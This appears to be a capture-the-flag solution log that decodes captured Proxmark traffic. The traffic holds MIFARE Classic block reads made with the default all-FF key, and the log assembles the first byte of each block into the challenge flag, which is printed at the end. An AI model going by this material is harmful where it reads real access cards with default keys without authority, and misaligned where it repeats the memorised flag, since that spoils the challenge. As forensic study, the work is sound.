{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'_\xd9-\xcf\x98\xd5\x9d)H{]\xee9\x99_\xa1', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 14, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
14
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'a\xc9\x87r2\xb9\xe7\x83\xe40\xbc.\xcb\xf6\x04a', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 36, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
36
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'_\xad\xbb9\xbeS\xfe\xf3/\x00\xfaO\x92Hcx', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 16, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
16
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'k\r\x14X\xca\x1a\xbb\xa0h\xd4fAc\xfc\xf1[', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 56, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
56
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'0\x9c\t\x06+\xb4>\x14\x91U\xae3\x92\xb8\x10U', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 41, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
41
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'3\xb0\xc8\x05\x85\xb9\xab\xean\x17C\xc1\x8d\x140=', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 9, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
9
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'aE.\xc1;D\xb7\xb4\x84\xed\xed!~U\xf2@', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 50, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
50
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'3l\xa7\xbd(\xb6\xb6\x14\xa89j\x17;C\x04\x00', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 48, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
48
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'34N#\x17YQ#\xe4\xb8\xd99\x14\xfc\xe0\xa8', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 53, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
53
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'b#\xf2\x99Zo\x92\xe6\xb4K\x17&&bV\x8c', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 46, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
46
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'h\x00\x80o\xbcV\x8f\xa66\x9a\x1d\xef\xeaQz\xc9', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 13, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
13
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'm\x86\xfa\x80\x14\xae\xc67\xee=z\xd0\x97Z\xf1n', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 58, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
58
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'k\xdef\xd8\xb6_\xc6\xe2\xdb\xfc\xd9\xe1\xd1\x97\xe1\xa1', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 45, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
45
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b't&\xeb\xbe\x0b\xa63i}\xd4\xe6O\xe9\xd7Q\xc7', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 2, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
2
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'e\xe8`\x00\xc4L\x11\xb2\xc3t\x15^`\xe4\x9d\xac', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 40, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
40
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b"v\xdc!\x17\x7f\r\x9a\x91YL\xc6'F|\xa3\xe9", 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 28, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
28
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'0\x98\xba0\xd2\xb5\xcc1\xdb\xf7W\xf9\x17\xfdW~', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 44, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
44
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'_\xda/\xce\xcfCf\x1e\xdf\xa5\x8bz\x8a\xf3M\xac', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 38, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
38
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'0\r\xb2\x15\xb5C3\x05\x83\x97\xfc\xf5Xc\xb1\xbe', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 62, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
62
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'}\x8ey\x82\xf6A\x91\x9e9\xce\xf1\xcc5wsr', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 37, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
37
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'cD^\x9f\xb2Fd\x8a!\xb2\xe5ML\xb0\xc2-', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 29, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
29
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'nk\xf5\xbf\x7fy\xfe,I\x08\x9d\xab\xd1\xd8\xc2<', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 52, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
52
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b"_\xcfT1\xb3'\xc0\xee\x0b\xed\n\xde\x1e\x1c5?", 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 42, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
42
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'r\x90~\xaeu\x10\xd8\xa6\xb8\x05:\xa8C\xa6\xa7\x0e', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 0, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
0
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b"c\xde4\xeeg\x08\x04\x00\x02\xb2\x1e$#'\x1e\x1d", 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 60, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
60
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'sq\xba\x89\xb5&(\x13Y\xe5\xe8m\xce\xfc[\xb9', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 24, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
24
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'g\x05\x86z\xec?7C\xca\x16r\xd0\x85\r\xff\x8b', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 1, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
1
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'r\x0e\xd05\x96-"\x03\xb0k\xffjKy\xb8\xf3', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 54, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
54
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'la=\xc7l\xe6\xb2%\xe4\x805\xa5!\xbd+w', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 34, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
34
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'0|\x00\x12\xca\x0c\x1b\xab\xd0\xe2\xe8\xea\xf7\xaf-\xf3', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 6, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
6
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b's\xbe\x1eS\x18t\xb4A\x9d\xb2\xc2k^\x17f\x90', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 4, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
4
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'w\xa1!\\;\xb5\xef\x8cRp\xa1\x0b\x94\xc6\x81\xba', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 57, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
57
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'cwo\xffj\x19\x0f7\xb4\xc7\x13\x91\\\x83\xc3Q', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 22, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
22
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'a\xbaR\xc7l\x14_\xe2Y\x1c\x12\x016\xe5\xa3+', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 20, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
20
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'fU6\xc1\xdd\xb8SjB\x07$\xd0U\x1b\x8f\xb5', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 33, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
33
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b't\x0cu\x983\t?\xc8\xed\x15\xad\xff\xd8\xd3\x1b\xc8', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 10, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
10
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'lZ\xe3\xfcG\xa1\x05\xaf\x8b\xb7S\xcer\xb5\xa6\x99', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 21, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
21
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'l5\x06C\x89?\xa9\xb3\xab\x89\x12W\x11\xad-o', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 12, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
12
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'_\x07-\x8e\xed\xefYB\x06\xb7u\x15\x84c\x90\xa4', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 49, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
49
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b's\x8d\xfd\x0c\x15\xbd6\xf3\x7f3<\xd5B\x809\x11', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 30, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
30
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'gm+/m\xe3\x07\x95\xaf\xc4#\xc5\xfaP\x13\xd4', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 26, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
26
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'l\x1d%\xb5q\xa7\xfb\xe7^\x14\x99,\xeb\xd2CC', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 32, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
32
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'_\xa8\xaaU\x9b\x80\x02\x04\x12\x9b\xadr\x1b\x8e\x97z', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 18, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
18
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'_\xfcu\xe4\xcad\xdd\xdc\xba\x0f\x16\xcem.\xa3\xd7', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 5, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
5
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'{-\x8b!pP?\xe2cr\x1a\x8c\xa2\xf3\x80(', 'crc': '0x3362'}
{None: '@', 8: '3', 17: '3', 61: '!', 25: '_', 14: 'a', 36: '_', 16: 'k', 56: '0', 41: '3', 9: 'a', 50: '3', 48: '3', 53: 'b', 46: 'h', 13: 'm', 58: 'k', 45: 't', 2: 'e', 40: 'v', 28: '0', 44: '_', 38: '0', 62: '}', 37: 'c', 29: 'n', 52: '_', 42: 'r', 0: 'c', 60: 's', 24: 'g', 1: 'r', 54: 'l', 34: '0', 6: 's', 4: 'w', 57: 'c', 22: 'a', 20: 'f', 33: 't', 10: 'l', 21: 'l', 12: '_', 49: 's', 30: 'g', 26: 'l', 32: '_', 18: '_', 5: '{'}
crew{s3al_mak3_flag_l0ng_t0_c0v3r_th3s3_bl0cks!}